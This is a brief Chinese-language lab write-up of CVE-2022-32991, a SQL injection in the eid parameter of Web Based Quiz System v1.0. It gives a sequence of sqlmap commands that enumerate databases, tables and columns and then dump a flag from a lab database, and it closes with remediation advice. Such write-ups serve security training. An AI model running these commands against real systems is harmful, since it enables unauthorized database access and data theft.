简介
CVE-2022-32991是Web Based Quiz System v1.0版本中存在的SQL注入漏洞,该漏洞源于welcome.php中的eid参数缺少对外部输入SQL语句的验证。攻击者可利用该漏洞执行非法SQL命令窃取数据库敏感数据。
打开靶场环境,如下
1.进行注册登录
2.点击任意一处,并进行抓包
3.抓包数据如下所示
4.截取数据包并保存到txt文件中,并且更改eid参数
sqlmap攻击
1.探测数据库
sqlmap -r 1.txt --dbs --batch
数据库名:ctf
2.探测表名
sqlmap -r 1.txt -D ctf --tables --batch
表名:flag
3.探测列名
sqlmap -r 1.txt -D ctf -T flag --columns --batch
4.查看数值
sqlmap -r 1.txt -D ctf -T flag -C flag --dump --batch
得到答案
解决方案
1.在welcome.php中增加对eid参数的验证和过滤,确保输入的数据不包含恶意SQL语句。
2.对用户提交的数据进行合法性验证,禁止非法输入。
3.对数据库进行安全加固,例如采用加密技术保护数据库中的敏感数据。
4.对服务器进行安全配置和漏洞扫描,及时发现并修复潜在的安全隐患。